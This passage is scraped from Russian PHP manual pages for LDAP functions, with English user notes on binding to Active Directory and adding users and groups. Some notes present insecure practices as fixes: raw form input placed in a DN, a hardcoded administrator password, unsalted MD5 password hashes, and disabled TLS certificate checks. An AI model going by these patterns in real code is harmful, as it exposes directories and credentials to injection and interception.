Just add "{MD5}" front $pwd_md5 to obtain the same format as LDAP directory.

Bye
Aur?lia
mike at whisperedlies dot org 09-Sep-2002 09:41
In addition to the netBIOS suggestion above, when binding to a Windows2k AD server, you can use the UPN of the intended user. For instance, if your SAM account name is firstname.lastname and your domain is domainname.com, your UPN might be firstname.lastname@domainname.com

This can be used to bind to AD. I've not seen any difference in any of the methods.
rusko dot marton at gibzone dot hu 10-Jul-2002 05:06
You can authenticate to a Windows 2000 domain's ldap server easily by using the simplified netbios form of the username.

Somebody written:
When authenticating to a Win2k LDAP server, the name of the person must be
the FULL NAME in the dn

NO. You can use this form:

$user = "DOMAINNAME\\username"
$password = "Password_of_user";

if (!$connect = ldap_connect("<server>", <port>)) {
  //error
  exit;
}
if (!$res = @ldap_bind($ldap, $user, $password)) {
  //error
  exit;
}

It works fine with Active Directory, we use it.
knitterb at blandsite dot org 19-Jun-2002 08:48
When using PHP 4.2.1 with OpenLDAP 2.1.2 I was having problems with binding to the ldap server.  I found that php was using an older protocol and added the following to the slapd.conf:

allow bind_v2

See ``man slapd.conf'' for more info about the allow item in the slapd.conf file, this is all I know! :)
webmaster at autourdupc dot com 31-Dec-2001 04:36
When authenticating to a Win2k LDAP server, the name of the person must be the FULL NAME in the dn

NB : nothing is case sensitive !

$dn="cn=DUPOND John, cn=Users, dc=autourdupc, dc=com"
$password = "Password_of_DUPOND";

Then when you bind to the LDAP database you use:

if (!($ldap = ldap_connect("<server>", <port>))) {
die ("Could not connect to LDAP server");
}
if (!($res = @ldap_bind($ldap, $dn, $password))) {
die ("Could not bind to $dn");
}

Hope this will usefull for everyone !


Переводит символы из кодировки ISO-8859 в t61

  • « Функции LDAP
  • ldap_add_ext »
  • PHP Manual
  • Функции LDAP
  • Переводит символы из кодировки ISO-8859 в t61

ldap_8859_to_t61

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

ldap_8859_to_t61 — Переводит символы из кодировки ISO-8859 в t61

Описание

ldap_8859_to_t61(string $value): string|false

Переводит символы из кодировки ISO-8859 в t61.

Эта функция полезна, если необходимо работать с устаревшим сервером LDAPv2.

Список параметров

value

Текст, которые должен быть переведён.

Возвращаемые значения

Возвращает кодированный в t61 параметр value или false в случае возникновения ошибки.

Смотрите также

  • ldap_t61_to_8859() - Переводит символы из кодировки t61 в ISO-8859

User Contributed Notes

faruq dot alavi at live dot de 03-May-2010 03:13
Description:

ldap_8859_to_t61() assists in the conversion of strings between ISO 8859-1 and t61 encodings. If the string cannot be converted successfully, the function returns FALSE.

Example:

$converted = ldap_8859_to_t61($data);
echo $converted;


Добавить записи в каталог LDAP

  • « ldap_8859_to_t61
  • ldap_add »
  • PHP Manual
  • Функции LDAP
  • Добавить записи в каталог LDAP

ldap_add_ext

(PHP 7 >= 7.3.0, PHP 8)

ldap_add_ext — Добавить записи в каталог LDAP

Описание

ldap_add_ext(
LDAP\Connection $ldap,
string $dn,
array $entry,
?array $controls = null
): LDAP\Result|false

Делает то же самое, что и ldap_add(), но возвращает экземпляр LDAP\Result для разбора с помощью ldap_parse_result().

Список параметров

Смотрите ldap_add()

Возвращаемые значения

Возвращает экземпляр LDAP\Result или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр ldap теперь ожидает экземпляр LDAP\Connection; ранее ожидался ресурс (resource) ldap link .
8.1.0 | Возвращает экземпляр LDAP\Result; ранее возвращался ресурс (resource).
8.0.0 | controls теперь допускает значение null; ранее значение по умолчанию было [].

Примечания

Замечание: Эта функция безопасна для обработки данных в двоичной форме.

Смотрите также

  • ldap_add() - Добавить запись в LDAP директорию
  • ldap_parse_result() - Извлечь информацию из результата

User Contributed Notes

There are no user contributed notes for this page.


Добавить запись в LDAP директорию

  • « ldap_add_ext
  • ldap_bind_ext »
  • PHP Manual
  • Функции LDAP
  • Добавить запись в LDAP директорию

ldap_add

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_add — Добавить запись в LDAP директорию

Описание

ldap_add(
LDAP\Connection $ldap,
string $dn,
array $entry,
?array $controls = null
): bool

Добавляет запись в LDAP-директорию.

Список параметров

ldap

Экземпляр LDAP\Connection, возвращаемый функцией ldap_connect().

dn

Отличительное имя LDAP-объекта.

entry

Массив, который определяет информацию о записи. Значения в записи индексируются индивидуальными атрибутами. В случае множественных значений для атрибута, они индексируются с использованием целых чисел, начиная с 0.

<?php
$entry["attribute1"] = "value";
$entry["attribute2"][0] = "value1";
$entry["attribute2"][1] = "value2";
?>

controls

Массив управляющих констант LDAP для отправки в запросе.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр ldap теперь ожидает экземпляр LDAP\Connection; ранее ожидался ресурс (resource) ldap link .
8.0.0 | controls теперь допускает значение null; ранее значение по умолчанию было [].
7.3.0 | Добавлена поддержка параметра controls

Примеры

Пример #1 Полный пример с проверкой подлинности привязки

<?php
$ds = ldap_connect("localhost"); // предположим, что сервер LDAP находится тут

if ($ds) {
// привязка к соответствующему dn для возможности обновления
$r = ldap_bind($ds, "cn=root, o=My Company, c=US", "secret");

// подготовить данные
$info["cn"] = "John Jones";
$info["sn"] = "Jones";
$info["objectclass"] = "person";

// добавить данные
$r = ldap_add($ds, "cn=John Jones, o=My Company, c=US", $info);

ldap_close($ds);
} else {
echo "Невозможно соединиться с сервером LDAP";
}
?>

Примечания

Замечание: Эта функция безопасна для обработки данных в двоичной форме.

Смотрите также

  • ldap_add_ext() - Добавить записи в каталог LDAP
  • ldap_delete() - Удаляет запись из директории LDAP

User Contributed Notes

Baumkuchen.TH 19-Nov-2018 06:40
Create Group in Active Directory

<?php
$ds = ldap_connect("IP-server/localhost");
$base_dn = "CN=Group name,OU=Organization Unit,DC=Domain-name,DC=com";//distinguishedName of group

if ($ds) {
// bind with appropriate dn to give update access
ldap_bind($ds, "CN=Administrator,OU=Organization Unit,DC=Domain-name,DC=com", "some-password");

//Add members in group
$member_array = array();
$member_array[0] = "CN=Administrator,OU=Organization Unit,DC=Domain-name,DC=com";
$member_array[1] = "CN=User,OU=Organization Unit,DC=Domain-name,DC=com";

$entry["cn"] = "GroupTest";
$entry["samaccountname"] = "GroupTest";
$entry["objectClass"] = "Group";
$entry["description"] = "Group Test!!";
$entry["member"] = $member_array;
$entry["groupType"] = "2";//GroupType="2" is Distribution / GroupType="1" is Security

ldap_add($ds,$base_dn,$entry);

ldap_close($ds);
} else {
echo "Unable to connect to LDAP server";
}
?>
Igor2i 05-Sep-2013 07:37
Решил добавить специально для русскоязычных пользователей.
У меня сервер на Gentoo с поддержкой кириллици в кодировке UTF-8.
И при вводе через форму кириллицы выдавал ошибку синтаксиса.
Решение проблемы:
1) код требуется перекодировать в UTF-8 без BOM
2) и в начале кода вставить строку
<?php
header('Content-Type: text/html; CHARSET=Windows-1251');
?>
paul90brown at gmail dot com 14-Jan-2013 07:04
I kept getting "Object Class Violation" when I tried adding posixAccount and shadowAccount as an objectclass. It turned out that these object classes had a lot of required fields that I was not adding. You may need to export a working user (if you have phpLDAPadmin) and see exactly what fields they have, then try to copy it exactly in the script. It also doesn't hurt if you make everything an Array the first time around, you can fix those fields later.
sergioshev 22-Apr-2008 10:29
once i'am having problmes to add attributes with boolean syntax (1.3.6.1.4.1.1466.115.121.1.7)

$['boolean_attr']=true; //give me one warning, ldap_add(): Add: Invalid syntax

solved this by setting the value on this:

$['boolean_attr']='TRUE';

hope this can helps.
phil at networkalliance dot com 14-Feb-2008 09:24
I created a simple function that can be called to create global distribution groups in Active Directory:

<?php
function ldap_createGroup($object_name, $dn, $members, $ldap_conn)
{
    $addgroup_ad['cn']="$object_name";
    $addgroup_ad['objectClass'][0] = "top";
    $addgroup_ad['objectClass'][1] ="group";
    $addgroup_ad['groupType']="2";
    $addgroup_ad['member']=$members;
    $addgroup_ad["sAMAccountName"] =$object_name;

    ldap_add($ldap_conn,$dn,$addgroup_ad);

    if(ldap_error($ldap_conn) == "Success")
      return true;
    else
      return false;
}
?>

You can call this function using the follow code:

<?php
$ldap_conn = ldap_bind();
$object_name="Test Group";
$dn="CN=".$object_name.",OU=PathToAddGroupTo,OU=All Users,DC=YOURDOMAIN,DC=COM";
$members[] ="CN=User1,OU=PathToAddGroupTo,OU=All Users,DC=YOURDOMAIN,DC=COM";
$members[] ="CN=User2,OU=PathToAddGroupTo,OU=All Users,DC=YOURDOMAIN,DC=COM";

ldap_createGroup($object_name, $dn, $members, $ldap_conn);
?>

The other function I created is ldap_bind(), and this can be used to bind to an LDAP server:

<?php
function ldap_bind()
{
  $ldap_addr = '192.168.1.1';  // Change this to the IP address of the LDAP server
  $ldap_conn = ldap_connect($ldap_addr) or die("Couldn't connect!");
  ldap_set_option($ldap_conn, LDAP_OPT_PROTOCOL_VERSION, 3);
  $ldap_rdn = "domain_name\\user_account";
  $ldap_pass = "user_password";

  // Authenticate the user against the domain controller
  $flag_ldap = ldap_bind($ldap_conn,$ldap_rdn,$ldap_pass);
  return $ldap_conn;
}
?>
stian 01-Nov-2007 06:27
This solution works for us.
In the form the CN and pwdtxt are randomly generated from strict rules.
This script creates 50-60 users i AD pr.day! and never even had a glitch!

<?php
## From form
$CN = $_POST['CN'];
$givenName = $_POST['givenName'];
$SN = $_POST['SN'];
$mail = $_POST['mail'];
$Phone = $_POST['Phone'];
$pwdtxt = $_POST['pwdtxt'];

$AD_server = "localhost:390"; // Local Stunnel --> http://www.stunnel.org/
$AD_Auth_User = "administrator@student.somwhere.com"; //Administrative user
$AD_Auth_PWD = "duppiduppdupp"; //The password

$dn = 'CN='.$CN.',OU=Brukere,DC=student,DC=somwhere,DC=com';

## Create Unicode password
$newPassword = "\"" . $pwdtxt . "\"";
$len = strlen($newPassword);
$newPassw = "";

for($i=0;$i<$len;$i++) {
    $newPassw .= "{$newPassword{$i}}\000";
}

## CONNNECT TO AD
$ds = ldap_connect($AD_server);
if ($ds) {
    ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3); // IMPORTANT
    $r = ldap_bind($ds, $AD_Auth_User, $AD_Auth_PWD); //BIND

    $ldaprecord['cn'] = $CN;
    $ldaprecord['givenName'] = $givenName;
    $ldaprecord['sn'] = $SN;
    $ldaprecord['objectclass'][0] = "top";
    $ldaprecord['objectclass'][1] = "person";
    $ldaprecord['objectclass'][1] = "organizationalPerson";
    $ldaprecord['objectclass'][2] = "user";
    $ldaprecord['mail'] = $mail;
    $ldaprecord['telephoneNumber'] = $Phone;
    $ldaprecord["unicodepwd"] = $newPassw;
    $ldaprecord["sAMAccountName"] = $CN;
    $ldaprecord["UserAccountControl"] = "512";
//This is to prevent the user from beeing disabled. -->
http://support.microsoft.com/default.aspx?scid=kb;en-us;305144

    $r = ldap_add($ds, $dn, $ldaprecord);

} else {
    echo "cannot connect to LDAP server at $AD_server.";
}

?>

This is code example creates a user i AD.
We use this on an internal web page to create
temporary users that kan access the wireless network.
We have a .pl script that deletes the users after 24H.
Willie 15-Aug-2007 02:16
In response to:
Note that you cannot use base64 encoding, you have to use utf-8 encoding for special chars instead.
--

I have found that if I have a special character (or a newline) that ldap_add and ldap_modify will automatically do the base64 encoding for you.  For example:

<?php
// assuming binding is done, etc.
$entry['postalAddress'] = "123 East 456 West\nSuite A103";
ldap_modify($ds, $dn, $entry);
?>

The function or server will take the newline and convert it into base64 automatically (same goes for other special characters).

You may be able to verify by using a command-line ldapsearch
ldapsearch -b "dc=example,dc=com" -x "(cn=Example Person)" postalAddress

You'll see that the result comes up as
dn: cn=Example Person,dc=example,dc=com
postalAddress:: MTIzIEVhc3QgNDU2IFdlc3QKU3VpdGUgQTEwMw==

See the double colons after postal address?  That's how LDAP states it's base64 encoded in this case.
damien at groovey dot com 19-Dec-2006 02:08
Here is how to add a user with a hashed MD5 password to OpenLDAP.  I used this technique to migrate Drupal accounts into OpenLDAP for a single-sign-on solution.

The trick to it is to tell OpenLDAP the hash type (e.g. {MD5}) before the password, and also to base64 encode the BINARY hashed result.  You cannot just base64 encode what is returned by PHP's md5() or sha() hash functions, because they return a hexadecimal text string.  First you must use pack("H*", $hash_result) to make that a binary string, THEN you can base64 encode it.

Here is complete code for connecting and adding a user with a hashed password.  You don't have to use {MD5}, you could pick a different hash if that is what you have.  The output from one of these hashed passwords will look like this:  {md5}bdwD04RS9xMDGVi1n/H36Q==

Finally some caveats:  This technique will not work if you hashed the password using a salt value (but Drupal does not).  This technique will also certainly not work with active directory, where passwords can definitely only be set over SSL connections and hashing probably works differently.

---- snip ----

$ds = ldap_connect($serverAddress);
if ($ds) {
  ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);  // otherwise PHP defaults to ldap v2 and you will get a Syntax Error!
  $r = ldap_bind($ds, $managerDN, $managerPassword);
  $ldaprecord['cn'] = $newuser_username;
  $ldaprecord['givenName'] = $newuser_firstname;
  $ldaprecord['sn'] = $newuser_surname;
  // put user in objectClass inetOrgPerson so we can set the mail and phone number attributes
  $ldaprecord['objectclass'][0] = "person";
  $ldaprecord['objectclass'][1] = "organizationalPerson";
  $ldaprecord['objectclass'][2] = "inetOrgPerson";
  $ldaprecord['mail'] = $newuser_email_address;
  $ldaprecord['telephoneNumber'] = $newuser_phone_number;
  // and now the tricky part, base64 encode the binary hash result:
  $ldaprecord['userPassword'] = '{MD5}' . base64_encode(pack('H*',$newuser_md5hashed_password));
  // If you have the plain text password instead, you could use:
  // $ldaprecord['userPassword'] = '{MD5}' . base64_encode(pack('H*',md5($newuser_plaintext_password)));
  $r = ldap_add($ds, $base_user_dn, $ldaprecord);
} else { die "cannot connect to LDAP server at $serverAddress."; }
chad dot smith at 50marketing dot com 29-Sep-2005 02:56
I took spam2004 at turniton dot dk example and made it a bit better.  Maybe my setup was a bit different but either way here is how I added a group in Microsoft Windows Server 2003.

<?php
// Connect using ldap_connect
// Bind using ldap_bind
// Set LDAP_OPT_PROTOCOL_VERSION to 3
$member_array = array();
$member_array[0] = "cn=user1,cn=Users,dc=yourdomain,dc=com";
$member_array[1] = "cn=administrator,cn=Users,dc=yourdomain,dc=com";

$addgroup_ad["cn"] = "testgroup";
$addgroup_ad["samaccountname"] = "testgroup";
$addgroup_ad["objectClass"] = "Group";
$addgroup_ad["description"] = "Yep just a test.";
$addgroup_ad["member"] = $member_array;
$base_dn = "cn=testgroup,cn=Users,DC=yourdomain,DC=com";
ldap_add($ldap_conn,$base_dn,$addgroup_ad);
// This is it.
?>

Take care and good luck,
Chad R. Smith
theiderich AT laweekly dot com 15-Jul-2005 10:19
When adding/editing attributes for a user, keep in mind that the 'memberof' attribute is a special case.  The memberOf attribute is not an accessible attribute of the user schema. To add someone to a group, you have to add the user in the group, and not the group in the user. You can do this by accessing the group attribute 'member':

<?php

$group_name = "CN=MyGroup,OU=Groups,DC=example,DC=com";
$group_info['member'] = $dn; // User's DN is added to group's 'member' array
ldap_mod_add($connect,$group_name,$group_info);

?>
micattack+phpnet at gmail dot com 02-May-2005 06:32
When getting the dreaded invalid syntax, it helps turning on debugging in ldap. Looking at /var/log/ldap, gets you things like

May  2 13:51:21 tux slapd[12985]: conn=4934 op=1 RESULT tag=105 err=21 text=phpgwtz: value #0 invalid per syntax
May  2 13:52:02 tux slapd[12697]: No objectClass for entry (uid=1, ou=adressen, dc=...
hp at syntomax dot com 28-Oct-2004 06:31
Another fun thing: ldap_add() doesn't like arrays with empty members: so
array (
      [cn] = "name"
      [key] = ""
      [anotherkey] = "value"
)
will yield a syntax error!

solve this with a simple peice of code:

foreach ($originalobject as $key => $value){
        if ($value != ""){
                $object[$key] = $value;
        }
}

where $originalobject is the uncecked array and $object is the one without empty members.
amcnabb 21-Oct-2004 02:37
Be careful with types.  PHP switches automatically between strings and numbers, but LDAP doesn't, and PHP will send whatever is most convenient for PHP, not LDAP, unless you specify a type.

If you inadvertently send a number as a string, you will get an error: "ldap_add(): Add: Invalid syntax in [filename] on line LINENUM."

Observe this example which makes an array to send to LDAP to create a POSIX group.  Note that $new_groupid, which is technically a string, must be typecast with (int).

         $new_ldap_group['cn'] = $groupname;
         $new_ldap_group['objectclass'][0] = 'posixgroup';
         $new_ldap_group['objectclass'][1] = 'top';
         $new_ldap_group['gidnumber'] = (int) $new_groupid;
spam2004 at turniton dot dk 04-Oct-2004 04:06
To add a group in Windows AD..
$object_name="testgroup2";
$members[]="CN=THU,ou=Users,dc=addomain,dc=domain,dc=dk";
$members[]="CN=testgroup2,ou=Groups,dc=addomain,dc=domain,dc=dk";
$addgroup_ad['cn']="$object_name";
$addgroup_ad['objectClass'][0] = "top";
$addgroup_ad['objectClass'][1] ="group";
$addgroup_ad['descripton']=$object_description;
$addgroup_ad['member']=$members;
$addgroup_ad["sAMAccountName"] =$object_name;

// notice param 2 (dn) will probably be different
$dn="cn=".$object_name.",ou=Groups,dc=addomain,dc=domain,dc=dk";
ldap_add($ldapc,$dn,$addgroup_ad);
ondrej dot duchon at t-systems dot cz 14-Jan-2004 06:49
IF you need use national characters (iso 8859-2,8 etc.) it's good way to use  ldap_set_option.
It was hard job to find where is a bug ;-))). I hope that helps somebody.

 ldap_set_option($ldap, LDAP_OPT_PROTOCOL_VERSION, 3);
ondrej dot duchon at t-systems dot cz 14-Jan-2004 04:58
jharnett at artschool dot com:
For active user in AD u must change "useraccountcontrol" to 512, 512 = enabled, 514 = disabled
Andrew (a.whyte at cqu.edu.au) 24-Sep-2003 07:49
In reference to the questions about Account Enabling, you can use the table found at Microsoft's Support site to help with these attributes.

You are correct that '2' is the Account Disabled flag, but there are others, which allow you to detect/set password force expiry and the like.

Hope this URL is usefull for that:

http://support.microsoft.com/default.aspx?scid=kb;en-us;305144

Cheers.
John Van Atta 19-May-2003 06:52
In response to jharnett's question about accounts disabled by default from ldap_add, we have found a solution.

The attribute userAccountControl contains a value that includes whether the account is disabled or enabled. The default for us is 546; when we changed that to 544 the account became enabled. Changing whatever value is in userAccountControl by 2 seems to enable or disable the account.

The following code worked for us to create a new user with an enabled account:

$adduserAD["userAccountControl"] = "544";

We just added this element to the above example's array.
Axel D. (FRANCE) 04-Mar-2003 08:26
Try this script if you don't know how to add an user in the AD Win2K.
To have more informations about the attributes, open the adsiedit console in the Support Tools for Win2K.

$adduserAD["cn"][0] =
$adduserAD["instancetype"][0] =
$adduserAD["samaccountname"][0] =
$adduserAD["objectclass"][0] = "top";
$adduserAD["objectclass"][1] = "person";
$adduserAD["objectclass"][2] = "organizationalPerson";
$adduserAD["objectclass"][3] = "user";
$adduserAD["displayname"][0] =
$adduserAD["name"][0] =
$adduserAD["givenname"][0] =
$adduserAD["sn"][0] =
$adduserAD["company"][0] =
$adduserAD["department"][0] =
$adduserAD["title"][0] =
$adduserAD["description"][0] =
$adduserAD["mail"][0] =
$adduserAD["initials"][0] =
$adduserAD["samaccountname"][0] =
$adduserAD["userprincipalname"][0] =
$adduserAD["profilepath"][0] =
$adduserAD["manager"][0] = ***Use DistinguishedName***

if (!($ldap = ldap_connect("localhost"))) {
     die ("Could not connect to LDAP server");
}
if (!($res = @ldap_bind($ldap, "user@pc.com", $password))) {
     die ("Could not bind to the LDAP account");
}
if (!(ldap_add($ldap, "CN=New User,OU=OU Users,DC=pc,DC=com", $adduserAD))){
     echo "There is a problem to create the account
     echo "Please contact your administrator !";
     exit;
}
ldap_unbind($ldap);
jharnett at artschool dot com 22-Oct-2002 02:43
For some wacky reason, when the new account is added using ldap_add(), the account is set to "inactive".
And from what I can see there is no modifiable attribute to "re-enable" that user. I suppose by default, if the specific flags are not set the default values are used. Anyone that has a fix for this, please post, I'm pulling out what little hair I have left.
del at babel dot com dot au 23-Jun-2002 09:55
If you need to add an attribute that is binary encoded (eg: userCertificate), then you need to add the ";binary" specification at the end of the field name.

eg:

$info["userCertificate;binary"] = $myBinaryCert;
$ldap_add ...

Del
titus dot stahl at experts4 dot com 30-Aug-2001 06:53
Note that you cannot use base64 encoding, you have to use utf-8 encoding for special chars instead.
akohlsmith at mixdown dot org 12-Sep-1999 04:48
ldap_add() will only honour the $entry["attribute"][x]="value" *if there are multiple values for the attribute*.  If there is only one attribute value, it *MUST* be entered as $entry["attribute"]="value" or ldap_add() sets the value for the attribute to be "Array" instead of what you put into $entry["attribute"][0].

Here is a little routine I wrote up to do this automatically.  when you're parsing the input, just use multi_add():
<?php
function multi_add($attribute, $value)
{
 global $entry;                                // the LDAP entry you're gonna add

 if(isset($entry[$attribute]))
   if(is_array($entry[$attribute]))
     $entry[$attribute][count($entry[$attribute])] = $value;
   else
     {
     $tmp = $entry[$attribute];
     unset($entry[$attribute]);
     $entry[$attribute][0] = $tmp;
     $entry[$attribute][1] = $value;
     }
 else
   $entry[$attribute] = $value;
}
?>
multi_add() checks to see if there is already a value for the attribute.  if not, it adds it as $entry[$attribute]=$value.  If there is already a value for the attribute, it converts the attribute to an array and adds the multiple values correctly.

How to use it:
<?php
switch($form_data_name)
      {
      case 'phone': multi_add("telephoneNumber", $form_data_value); break;
      case 'fax': multi_add("facsimileTelephoneNumber", $form_data_value); break;
      case 'email': multi_add("mail", $form_data_value); break;
      ...
      }
?>
In the system I designed the form has pulldowns with names ctype1, ctype2, ctype3, etc. and the values are "fax, mail, phone...".  The actual contact data (phone number, fax, email, etc) is contact1, contact2, contact3, etc.  The user pulls down what the contact type is (phone, email) and then enters the data (number, address, etc.)

I use variable variables to fill the entry and skip blanks.  Makes for a very clean form entry system.  email me if you're interested in it, as I think I'm outgrowing the size of note allowed here.  :-)


Привязать к директории LDAP

  • « ldap_add
  • ldap_bind »
  • PHP Manual
  • Функции LDAP
  • Привязать к директории LDAP

ldap_bind_ext

(PHP 7 >= 7.3.0, PHP 8)

ldap_bind_ext — Привязать к директории LDAP

Описание

ldap_bind_ext(
LDAP\Connection $ldap,
?string $dn = null,
?string $password = null,
?array $controls = null
): LDAP\Result|false

Делает то же самое, что и ldap_bind(), но возвращает экземпляр LDAP\Result для разбора с помощью ldap_parse_result().

Список параметров

Смотрите ldap_bind()

Возвращаемые значения

Возвращает экземпляр LDAP\Result или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр ldap теперь ожидает экземпляр LDAP\Connection; ранее ожидался ресурс (resource) ldap link .
8.1.0 | Возвращает экземпляр LDAP\Result; ранее возвращался ресурс (resource).
8.0.0 | controls теперь допускает значение null; ранее значение по умолчанию было [].

Смотрите также

  • ldap_bind() - Привязать к LDAP директории
  • ldap_parse_result() - Извлечь информацию из результата

User Contributed Notes

There are no user contributed notes for this page.


Привязать к LDAP директории

  • « ldap_bind_ext
  • ldap_close »
  • PHP Manual
  • Функции LDAP
  • Привязать к LDAP директории

ldap_bind

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_bind — Привязать к LDAP директории

Описание

ldap_bind(LDAP\Connection $ldap, ?string $dn = null, ?string $password = null): bool

Связывает LDAP-директорию с указанным RDN и паролем.

Список параметров

ldap

Экземпляр LDAP\Connection, возвращаемый функцией ldap_connect().

dn

password

Если password не определён, то будет попытка анонимной привязки. Также для анонимной привязки можно оставить пустым dn, как определено в https://tools.ietf.org/html/rfc2251#section-4.2.2

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр ldap теперь ожидает экземпляр LDAP\Connection; ранее ожидался ресурс (resource) ldap link .

Примеры

Пример #1 Пример использования привязки LDAP

<?php

// используется ldap-привязка
$ldaprdn = 'uname'; // ldap rdn или dn
$ldappass = 'password'; // ассоциированный пароль

// соединение с сервером
$ldapconn = ldap_connect("ldap://ldap.example.com")
or die("Не могу соединиться с сервером LDAP.");

if ($ldapconn) {

// привязка к ldap-серверу
$ldapbind = ldap_bind($ldapconn, $ldaprdn, $ldappass);

// проверка привязки
if ($ldapbind) {
echo "LDAP-привязка успешна...";
} else {
echo "LDAP-привязка не удалась...";
}

}

?>

Пример #2 Использование анонимной привязки LDAP

<?php

//анонимное использование ldap-привязки

// соединение с сервером ldap
$ldapconn = ldap_connect("ldap://ldap.example.com")
or die("Не могу соединиться с сервером LDAP.");

if ($ldapconn) {

// анонимная привязка
$ldapbind = ldap_bind($ldapconn);

if ($ldapbind) {
echo "Анонимная привязка LDAP прошла успешно...";
} else {
echo "Анонимная привязка LDAP не удалась...";
}

}

?>

Смотрите также

  • ldap_bind_ext() - Привязать к директории LDAP
  • ldap_unbind() - Разорвать привязку к директории LDAP

User Contributed Notes

Christian Stoller 19-Sep-2023 09:09
When using LDAP with SSL and a LDAP server which uses a self-signed SSL certificate the connection may fail with the error "Can't contact LDAP server". To make the connection work, use the options to point to the public cert file (see https://www.php.net/manual/en/ldap.constants.php).

Alternatively you can disable the certification check. But keep in mind that this is a security risk if the connection is routed over a public network!

This is achieved by:

<?php
$ds = ldap_connect('ldaps://myhost:636');
ldap_bind($ds, '{your_ldap_dn}', '{your_ldap_password}')
ldap_set_option($ds, LDAP_OPT_X_TLS_REQUIRE_CERT, LDAP_OPT_X_TLS_ALLOW);
?>
php at richardneill dot org 27-Jul-2022 05:33
LDAPS over SSH port forwarding.
It may be that, when developing/debugging, you don't have direct access to the LDAP server.  You can use SSH port-forwarding, but you need to disable the cert checks temporarily. Here's the easiest way to do it.

//Enable debugging, so you can see what's failing.
ldap_set_option(NULL, LDAP_OPT_DEBUG_LEVEL,7);

//Disable the TLS certificate check (it will mismatch on the domain). Either
//edit /etc/ldap/ldap.conf and set "TLS_REQCERT never", or in your script:
putenv('LDAPTLS_REQCERT=never');

//Point your ldaps url at localhost. E.g.
$ldap_url = "ldaps://localhost:63600";

//Do the SSH port forward (in another terminal). E.g.
ssh -L 63600:your_real_ldap_server:636 your_proxy_server

//And continue as normal...
ldap_connect($ldap_url);
peter dot mlich at volny dot cz 05-Jun-2020 07:07
Example code from my ldap class.
this->query i send notes under ldap_search function documentation.

public function queryUserLogin($user_name='', $user_psw='', $tls_bool=true) // na localhostu pouzit tls=false
    {
    var_dump('queryUserLogin');
//$tls_bool = false;    // for localhost
    $fn     = 'queryUser';
    $config = $this->config;
    $conn   = $this->conn;
    if (!$conn)
        {return $this->errorConnection($fn);}
    // user - exist name?
    $user_name = $this->escapeValue($user_name);
    $user_psw  = $this->escapeValue($user_psw);
    $filter = "(&(objectclass=person)(cn=".$user_name."))";
//var_dump($filter);
    $att    = array('dn');
    $data   = $this->query($filter, $att, 2, true);
    if ($data===false)
        {
        $this->error("User error, nenalezen v ldap!");
        $this->disconnect();
        return false;
        }
    // user - exist user in LDAP (name, psw)
    $user = is_array($data) && isset($data[0]) && isset($data[0]['dn']) ? $data[0]['dn'] : '';    // "cn=mynickname,ou=users,o=su"
    $psw  = $user_psw;
    if ($user=='' || $psw=='')
        {
        $this->error("User error, prazdne prihlasovaci udaje!");
        $this->disconnect();
        return false;
        }
    if ($tls_bool==true)
        {
        if (ldap_start_tls($conn))    //php7
            {
            $result = @ldap_bind($conn, $user, $psw);
            }
        else    {
            $this->error("Unable to start TLS!");  // SSL encrypt protocol, certificate, deprecated?
            }
        }
    else    {
        $result = @ldap_bind($conn, $user, $psw);
        }
    if ($result==false)
        {
        $this->error("Bind user error! bindDN = ".$user);    //".ldap_error($conn)."
        $this->disconnect();
        return false;
        }
    // user - get user info, bind to ldap user with more permitions and get data (login to intercon user)
    $user   = $config['userInterconDn'];
    $psw    = $config['userInterconPsw'];
    if ($tls_bool==true)
        {
        if (ldap_start_tls($conn))    //php7
            {
            $result = ldap_bind($conn, $user, $psw);
            }
        else    {
            $this->error("Unable to start TLS!");  // SSL encrypt protocol, certificate, deprecated?
            }
        }
    else    {
        $result = ldap_bind($conn, $user, $psw);
        }
    if ($result==false)
        {
        $this->error("Bind user intercon error!");    // . ldap_error($conn) !Nezobrazovat jmeno usera interconu
        $this->out = array(
            'uid'         => $user
            );
        return true;
        }
    // search user data
    $filter = "(&(objectclass=person)(cn=" . $user_name . "))";
//var_dump($filter);
    $att    = array(
        'uid',
        'workforceID',
        'employeeID',
        'givenName',
        'sn',
        'mail'
        );
    $data   = $this->query($filter, $att, 2, true);
       // get data from ldap entires structure
    $this->out = array(
        'uid'         => $this->dataGetValue($data, 'uid'        , ''),
        'workforceID' => $this->dataGetValue($data, 'workforceid', ''),
        'employeeID'  => $this->dataGetValue($data, 'employeeid' , ''),
        'givenName'   => $this->dataGetValue($data, 'givenname'  , ''),
        'sn'          => $this->dataGetValue($data, 'sn'         , ''),    // prijmeni
        'mail'        => $this->dataGetValue($data, 'mail'       , '')    // mail
        );
    $this->conn = $conn;
    return true;
    }
Victor 11-Sep-2019 10:42
(Correction)
ldap_bind does return TRUE if the password is expired or needs to be reset, use ldap_get_option if ldap_bind returns FALSE

<?php

define("EXPIRED_PASSWORD", 532);
define("PASSWORD_RESET", 773);

$handle = ldap_connect('ldap://active.directory.server/');
$bind = ldap_bind($handle, 'user', 'expiredpass');

if (!$bind) {
    if (ldap_get_option($handle, LDAP_OPT_DIAGNOSTIC_MESSAGE, $extended_error)) {
            $errno = explode(',', $extended_error)[2];
            $errno = explode(' ', $errno)[2];
            $errno = intval($errno);

            if ($errno === EXPIRED_PASSWORD) {
                $err = 'Unable to login: Password expired';
            } else if ($errno === PASSWORD_RESET) {
                $err = 'Unable to login: Password needs to be reset';
            } else {
                $err = $extended_error;
            }
            if ($errno === EXPIRED_PASSWORD || $errno === PASSWORD_RESET) {
               #Change password
            }
        }
}
?>
nelson777 at gmail dot com 09-Jul-2018 05:12
I tried the solution above from user_o at hbt dot com about timeout and couldn't make it work. Initially I tried the following:

$this->conn = @ldap_connect($ip, $port);
ldap_set_option($this->conn, LDAP_OPT_NETWORK_TIMEOUT, 10);
ldap_set_option($this->conn, LDAP_OPT_TIMELIMIT, 10);
@ldap_bind($this->conn, $ldapUser, $ldapPwd);

